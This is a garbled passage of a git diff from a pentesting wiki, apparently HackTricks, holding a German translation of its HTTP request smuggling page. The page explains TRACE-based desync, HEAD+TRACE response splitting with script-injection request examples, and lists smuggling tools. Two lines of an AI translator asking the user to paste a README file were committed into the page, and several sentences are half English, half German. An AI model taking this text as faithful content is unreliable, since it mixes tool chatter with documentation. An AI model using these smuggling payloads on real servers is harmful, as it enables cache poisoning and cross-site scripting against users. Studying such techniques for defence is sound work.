[**In this post**](https://portswigger.net/research/trace-desync-attack) wird vorgeschlagen, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, diese mit HTTP Request Smuggling auszunutzen. Dies liegt daran, dass diese Methode jeden an den Server gesendeten Header als Teil des Antwortkörpers reflektiert. Zum Beispiel:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) schlägt vor, dass, wenn der Server die Methode TRACE aktiviert hat, es möglich sein könnte, diese mittels HTTP Request Smuggling auszunutzen. Das liegt daran, dass diese Methode jeden an den Server gesendeten header als Teil des body der response zurückspiegelt. Zum Beispiel:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Bitte füge den Inhalt von src/pentesting-web/http-request-smuggling/README.md hier ein; ich übersetze den relevanten englischen Text ins Deutsche und lasse Code, Techniknamen, Tags, Links und Pfade unverändert.
|
||||
Bitte fügen Sie den Inhalt der Datei src/pentesting-web/http-request-smuggling/README.md hier ein. Ich übersetze den relevanten englischen Text ins Deutsche und lasse dabei Code, Technik‑/Toolnamen, Tags, Links, Pfade und die Markdown/HTML-Syntax unverändert. Sie können den Inhalt auch in mehreren Nachrichten senden, falls er sehr lang ist.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -645,15 +693,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zuerst eine **HEAD request zu smuggle**. Auf diese Anfrage wird nur mit den **headers** einer GET request geantwortet (darunter **`Content-Type`**). Und smuggle **sofort nach dem HEAD eine TRACE request**, die die gesendeten **Daten reflektiert**.\
|
||||
Da die HEAD response einen `Content-Length`-Header enthält, wird die **Antwort der TRACE request als Body der HEAD response behandelt und spiegelt daher beliebige Daten** in der Antwort wider.\
|
||||
Diese Antwort wird an die nächste request über die Verbindung gesendet, sodass dies **z. B. in einer gecachten JS-Datei verwendet werden könnte, um beliebigen JS-Code zu injizieren**.
|
||||
Ein Beispiel, wie man dieses Verhalten ausnutzen kann, wäre, zunächst eine HEAD request zu smuggle. Diese request wird nur mit den headers einer GET request beantwortet (unter anderem **`Content-Type`**). Und unmittelbar nach der HEAD request eine TRACE request zu smuggle, die die gesendeten Daten reflektiert.\
|
||||
Da die HEAD response einen `Content-Length` header enthält, wird die response der TRACE request als Body der HEAD response behandelt und spiegelt daher beliebige Daten in der response wider.\
|
||||
Diese response wird an die next request über die Verbindung gesendet, sodass dies z. B. in einer gecachten JS file verwendet werden könnte, um beliebigen JS code zu injizieren.**
|
||||
|
||||
### Missbrauch von TRACE mittels HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Missbrauch von TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Es wird empfohlen, weiterhin [**this post**](https://portswigger.net/research/trace-desync-attack) zu lesen; dort wird eine andere Möglichkeit beschrieben, die TRACE-Methode zu missbrauchen. Wie bereits erwähnt, ermöglicht das smuggling einer HEAD request und einer TRACE request, **einige reflektierte Daten** in der Antwort auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen im `Content-Length`-Header angegeben und besteht aus der Antwort auf die TRACE request.
|
||||
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. Wie bereits kommentiert, ermöglicht das smuggling einer HEAD request und einer TRACE request, einige reflektierte Daten in der response auf die HEAD request zu kontrollieren. Die Länge des Bodys der HEAD request wird im Wesentlichen durch den Content-Length header angegeben und wird durch die response auf die TRACE request gebildet.
|
||||
|
||||
Daraus ergibt sich die Idee, dass man, wenn man diese `Content-Length` und die in der TRACE-Antwort gelieferten Daten kennt, die TRACE-Antwort so gestalten kann, dass sie nach dem letzten Byte der Content-Length eine gültige HTTP-Antwort enthält. Dadurch kann ein Angreifer die Anfrage für die nächste Antwort vollständig kontrollieren (was zur Durchführung eines cache poisoning verwendet werden könnte).
|
||||
Daher lautet die neue Idee: Kennt man diesen Content-Length und die in der TRACE response enthaltenen Daten, ist es möglich, die TRACE response so zu gestalten, dass sie nach dem letzten Byte des Content-Length eine gültige HTTP response enthält. Dadurch kann ein Angreifer die request zur next response vollständig kontrollieren (was z. B. für cache poisoning genutzt werden könnte).
|
||||
|
||||
Example:
|
||||
```
|
||||
@ -674,7 +722,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Erzeugt diese responses (achte darauf, wie die HEAD response eine Content-Length hat, wodurch die TRACE response Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP response geschmuggelt wird):
|
||||
Wird diese Antworten erzeugen (beachte, wie die HEAD-Antwort eine Content-Length hat, wodurch die TRACE-Antwort Teil des HEAD body wird und sobald die HEAD Content-Length endet, eine gültige HTTP-Antwort geschmuggelt wird):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -695,9 +743,9 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Einsatz von HTTP Request Smuggling mit HTTP Response Desynchronisation
|
||||
### Weaponisierung von HTTP Request Smuggling durch HTTP Response Desynchronisation
|
||||
|
||||
Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Methoden der Ausnutzung:
|
||||
Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Ausnutzungsmethoden:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -720,7 +768,7 @@ browser-http-request-smuggling.md
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## Turbo intruder Skripte
|
||||
## Turbo intruder scripts
|
||||
|
||||
### CL.TE
|
||||
|
||||
@ -809,14 +857,14 @@ table.add(req)
|
||||
```
|
||||
## Werkzeuge
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – visualisiert Verkettung/Framing und niedrigstufiges HTTP‑Verhalten
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- HTTP Hacker (Burp BApp Store) – zur Visualisierung von Verkettung/Framing und niedrigstufigem HTTP‑Verhalten
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater benutzerdefinierte Aktion "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammar-basierter HTTP Fuzzer, nützlich, um ungewöhnliche request smuggling‑Abweichungen zu finden.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein grammatikbasierter HTTP Fuzzer, nützlich, um ungewöhnliche request smuggling‑Abweichungen zu finden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@ -829,10 +877,11 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Vorsicht vor false false‑positives: wie man HTTP pipelining von request smuggling unterscheidet – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- Vorsicht vor dem false false‑positive: wie man HTTP pipelining von request smuggling unterscheidet – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
Loading…
x
Reference in New Issue
Block a user